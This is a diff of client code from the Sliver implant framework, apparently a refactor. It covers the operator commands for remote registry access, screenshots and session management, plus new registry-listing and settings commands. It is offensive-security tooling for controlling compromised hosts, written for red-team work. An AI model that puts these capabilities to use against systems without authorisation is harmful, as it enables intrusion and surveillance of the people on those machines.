+func selectReaction(con *console.SliverConsoleClient) (*core.Reaction, error) {
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	allReactions := core.Reactions.All()
+	for _, react := range allReactions {
+		fmt.Fprintf(table, "%d\t%s\t%s\t\n",
+			react.ID, react.EventType, strings.Join(react.Commands, ", "),
+		)
+	}
+	table.Flush()
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove blank line at the end
+
+	// Prompt user with options
+	prompt := &survey.Select{
+		Message: "Select a reaction:",
+		Options: options,
+	}
+	selection := ""
+	err := survey.AskOne(prompt, &selection)
+	if err != nil {
+		return nil, err
+	}
+	for index, option := range options {
+		if option == selection {
+			return &allReactions[index], nil
+		}
+	}
+	return nil, errors.New("reaction not found")
+}

client/command/registry/reg-create.go

@@ -29,7 +29,7 @@ import (
 
 // RegCreateKeyCmd - Create a new Windows registry key
 func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.Get()
+	session := con.ActiveTarget.GetSession()
 	if session == nil {
 		return
 	}
@@ -49,15 +49,23 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.Contains(regPath, "/") {
 		regPath = strings.ReplaceAll(regPath, "/", "\\")
 	}
-	slashIndex := strings.LastIndex(regPath, "\\")
-	key := regPath[slashIndex+1:]
-	regPath = regPath[:slashIndex]
+	pathBaseIdx := strings.LastIndex(regPath, `\`)
+	if pathBaseIdx < 0 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	if len(regPath) < pathBaseIdx+1 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	finalPath := regPath[:pathBaseIdx]
+	key := regPath[pathBaseIdx+1:]
 	createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
 		Hive:     hive,
-		Path:     regPath,
+		Path:     finalPath,
 		Key:      key,
 		Hostname: hostname,
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 	})
 
 	if err != nil {

client/command/registry/reg-list.go

@@ -0,0 +1,77 @@
+package registry
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	path := ctx.Args.String("registry-path")
+	hive := ctx.Flags.String("hive")
+	hostname := ctx.Flags.String("hostname")
+
+	regList, err := con.Rpc.RegistryListSubKeys(context.Background(), &sliverpb.RegistrySubKeyListReq{
+		Hive:     hive,
+		Hostname: hostname,
+		Path:     path,
+		Request:  con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+
+	if regList.Response != nil && regList.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", regList.Response.Err)
+		return
+	}
+	if len(regList.Subkeys) > 0 {
+		con.PrintInfof("Sub keys under %s:\\%s:\n", hive, path)
+	}
+	for _, subKey := range regList.Subkeys {
+		con.Println(subKey)
+	}
+}
+
+func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	regPath := ctx.Args.String("registry-path")
+	hive := ctx.Flags.String("hive")
+	hostname := ctx.Flags.String("hostname")
+
+	regList, err := con.Rpc.RegistryListValues(context.Background(), &sliverpb.RegistryListValuesReq{
+		Hive:     hive,
+		Hostname: hostname,
+		Path:     regPath,
+		Request:  con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+
+	if regList.Response != nil && regList.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", regList.Response.Err)
+		return
+	}
+	if len(regList.ValueNames) > 0 {
+		con.PrintInfof("Values under %s:\\%s:\n", hive, regPath)
+	}
+	for _, val := range regList.ValueNames {
+		con.Println(val)
+	}
+}

client/command/registry/reg-read.go

@@ -72,7 +72,11 @@ func getType(t string) (uint32, error) {
 
 // RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version"
 func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	var (
+		finalPath string
+		key       string
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -93,18 +97,27 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("You must provide a path")
 		return
 	}
+
 	if strings.Contains(regPath, "/") {
 		regPath = strings.ReplaceAll(regPath, "/", "\\")
 	}
-	slashIndex := strings.LastIndex(regPath, "\\")
-	key := regPath[slashIndex+1:]
-	regPath = regPath[:slashIndex]
+	pathBaseIdx := strings.LastIndex(regPath, `\`)
+	if pathBaseIdx < 0 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	if len(regPath) < pathBaseIdx+1 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	finalPath = regPath[:pathBaseIdx]
+	key = regPath[pathBaseIdx+1:]
 	regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
 		Hive:     hive,
-		Path:     regPath,
+		Path:     finalPath,
 		Key:      key,
 		Hostname: hostname,
-		Request:  con.ActiveSession.Request(ctx),
+		Request:  con.ActiveTarget.Request(ctx),
 	})
 
 	if err != nil {

client/command/registry/reg-write.go

@@ -32,7 +32,7 @@ import (
 
 // RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
 func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -71,9 +71,17 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.Contains(regPath, "/") {
 		regPath = strings.ReplaceAll(regPath, "/", "\\")
 	}
-	slashIndex := strings.LastIndex(regPath, "\\")
-	key := regPath[slashIndex+1:]
-	regPath = regPath[:slashIndex]
+	pathBaseIdx := strings.LastIndex(regPath, `\`)
+	if pathBaseIdx < 0 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	if len(regPath) < pathBaseIdx+1 {
+		con.PrintErrorf("invalid path: %s", regPath)
+		return
+	}
+	finalPath := regPath[:pathBaseIdx]
+	key := regPath[pathBaseIdx+1:]
 	switch valType {
 	case sliverpb.RegistryTypeBinary:
 		var (
@@ -115,10 +123,10 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	regWrite, err := con.Rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{
-		Request:     con.ActiveSession.Request(ctx),
+		Request:     con.ActiveTarget.Request(ctx),
 		Hostname:    hostname,
 		Hive:        hive,
-		Path:        regPath,
+		Path:        finalPath,
 		Type:        valType,
 		Key:         key,
 		StringValue: stringValue,

client/command/screenshot/screenshot.go

@@ -34,7 +34,7 @@ import (
 
 // ScreenshotCmd - Take a screenshot of the remote system
 func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -45,7 +45,7 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	screenshot, err := con.Rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/sessions/README.md

@@ -0,0 +1,4 @@
+Sessions
+=========
+
+Session related command implementations.

client/command/sessions/background.go

@@ -7,6 +7,6 @@ import (
 
 // BackgroundCmd - Background the active session
 func BackgroundCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	con.ActiveSession.Background()
+	con.ActiveTarget.Background()
 	con.PrintInfof("Background ...\n")
 }

client/command/sessions/kill.go

@@ -1,20 +1,38 @@
 package sessions
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"errors"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
-	"gopkg.in/AlecAivazis/survey.v1"
 )
 
 // KillCmd - Kill the active session (not to be confused with TerminateCmd)
 func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		con.PrintWarnf("No active session\n")
 		return
@@ -33,7 +51,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
-	con.ActiveSession.Background()
+	con.ActiveTarget.Background()
 }
 
 func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {

client/command/sessions/prune.go

@@ -1,5 +1,23 @@
 package sessions
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 

client/command/sessions/reconfig.go

@@ -21,6 +21,7 @@ package sessions
 import (
 	"context"
 	"regexp"
+	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -30,7 +31,7 @@ import (
 
 // SessionsReconfigCmd - Reconfigure metadata about a sessions
 func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -51,11 +52,12 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	// Option to change the reconnect interval
 	poll := ctx.Flags.Int("poll")
 
+	oldSession := con.ActiveTarget.GetSession()
 	session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
-		SessionID:         con.ActiveSession.Session.ID,
+		SessionID:         oldSession.ID,
 		Name:              name,
-		ReconnectInterval: int32(reconnect),
-		PollInterval:      int32(poll),
+		ReconnectInterval: int64(reconnect) * int64(time.Second),
+		PollInterval:      int64(poll) * int64(time.Second),
 	})
 
 	if err != nil {
@@ -63,5 +65,5 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}
 
-	con.ActiveSession.Set(session)
+	con.ActiveTarget.Set(session, nil)
 }

client/command/sessions/sessions.go

@@ -19,18 +19,17 @@ package sessions
 */
 
 import (
-	"bytes"
 	"context"
 	"fmt"
-	"sort"
 	"strings"
-	"text/tabwriter"
+	"time"
 
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
-
 	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // SessionsCmd - Display/interact with sessions
@@ -48,7 +47,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	if killAll {
-		con.ActiveSession.Background()
+		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
 			err := killSession(session, true, con)
 			if err != nil {
@@ -61,7 +60,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	if clean {
-		con.ActiveSession.Background()
+		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
 			if session.IsDead {
 				err := killSession(session, true, con)
@@ -76,9 +75,9 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	if kill != "" {
 		session := con.GetSession(kill)
-		activeSession := con.ActiveSession.Get()
+		activeSession := con.ActiveTarget.GetSession()
 		if activeSession != nil && session.ID == activeSession.ID {
-			con.ActiveSession.Background()
+			con.ActiveTarget.Background()
 		}
 		err := killSession(session, true, con)
 		if err != nil {
@@ -90,7 +89,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if interact != "" {
 		session := con.GetSession(interact)
 		if session != nil {
-			con.ActiveSession.Set(session)
+			con.ActiveTarget.Set(session, nil)
 			con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
 		} else {
 			con.PrintErrorf("Invalid session name or session number: %s\n", interact)
@@ -101,54 +100,36 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			sessionsMap[session.ID] = session
 		}
 		if 0 < len(sessionsMap) {
-			printSessions(sessionsMap, con)
+			PrintSessions(sessionsMap, con)
 		} else {
 			con.PrintInfof("No sessions 🙁\n")
 		}
 	}
 }
 
-/*
-	So this method is a little more complex than you'd maybe think,
-	this is because Go's tabwriter aligns columns by counting bytes
-	and since we want to modify the color of the active sliver row
-	the number of bytes per row won't line up. So we render the table
-	into a buffer and note which row the active sliver is in. Then we
-	write each line to the term and insert the ANSI codes just before
-	we display the row.
-*/
-func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	// Column Headers
-	fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("ID")),
-		strings.Repeat("=", len("Name")),
-		strings.Repeat("=", len("Transport")),
-		strings.Repeat("=", len("Remote Address")),
-		strings.Repeat("=", len("Hostname")),
-		strings.Repeat("=", len("Username")),
-		strings.Repeat("=", len("Operating System")),
-		strings.Repeat("=", len("Last Check-in")),
-		strings.Repeat("=", len("Health")),
-	)
-	// strings.Repeat("=", len("Burned")))
-
-	// Sort the keys because maps have a randomized order
-	var keys []int
-	for _, session := range sessions {
-		keys = append(keys, int(session.ID))
-	}
-	sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
+// PrintSessions - Print the current sessions
+func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Name",
+		"Transport",
+		"Remote Address",
+		"Hostname",
+		"Username",
+		"Operating System",
+		"Last Check-in",
+		"Health",
+	})
 
 	activeIndex := -1
-	for index, key := range keys {
-		session := sessions[uint32(key)]
-		if con.ActiveSession.Get() != nil && con.ActiveSession.Get().ID == session.ID {
+	index := 0
+	for _, session := range sessions {
+		if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
 			activeIndex = index + 2 // Two lines for the headers
 		}
+		index++
 
 		var SessionHealth string
 		if session.IsDead {
@@ -160,8 +141,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
 		if session.Burned {
 			burned = "🔥"
 		}
-
-		fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
+		tw.AppendRow(table.Row{
 			session.ID,
 			session.Name,
 			session.Transport,
@@ -169,15 +149,16 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
 			session.Hostname,
 			session.Username,
 			fmt.Sprintf("%s/%s", session.OS, session.Arch),
-			session.LastCheckin,
-			SessionHealth,
-			burned,
-		)
+			time.Unix(session.LastCheckin, 0).Format(time.RFC1123),
+			burned + SessionHealth,
+		})
 	}
-	table.Flush()
+	tw.SortBy([]table.SortBy{
+		{Name: "ID", Mode: table.Asc},
+	})
 
 	if activeIndex != -1 {
-		lines := strings.Split(outputBuf.String(), "\n")
+		lines := strings.Split(tw.Render(), "\n")
 		for lineNumber, line := range lines {
 			if len(line) == 0 {
 				continue
@@ -189,6 +170,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
 			}
 		}
 	} else {
-		con.Printf(outputBuf.String())
+		con.Printf("%s\n", tw.Render())
 	}
+
 }

client/command/sessions/use.go

@@ -1,39 +0,0 @@
-package sessions
-
-import (
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/desertbit/grumble"
-)
-
-// UseCmd - Change the active session
-func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	sessionArg := ctx.Args.String("session")
-	if sessionArg != "" {
-		session := con.GetSession(sessionArg)
-		if session == nil {
-			con.PrintErrorf("Invalid session name or session number '%s'\n", ctx.Args.String("session"))
-		} else {
-			activate(session, con)
-		}
-	} else {
-		session, err := SelectSession(false, con)
-		if session != nil {
-			activate(session, con)
-		} else if err != nil {
-			switch err {
-			case ErrNoSessions:
-				con.PrintErrorf("No sessions available\n")
-			case ErrNoSelection:
-				con.PrintErrorf("No session selected\n")
-			default:
-				con.PrintErrorf("%s\n", err)
-			}
-		}
-	}
-}
-
-func activate(session *clientpb.Session, con *console.SliverConsoleClient) {
-	con.ActiveSession.Set(session)
-	con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
-}

client/command/settings/README.md

@@ -0,0 +1,4 @@
+Style
+======
+
+Defines terminal interface styles.

client/command/settings/beacons.go

@@ -0,0 +1,39 @@
+package settings
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// SettingsBeaconsAutoResultCmd - The client settings command
+func SettingsBeaconsAutoResultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if con.Settings == nil {
+		con.Settings, err = assets.LoadSettings()
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.Settings.BeaconAutoResults = !con.Settings.BeaconAutoResults
+	con.PrintInfof("Beacon Auto Result = %v\n", con.Settings.BeaconAutoResults)
+}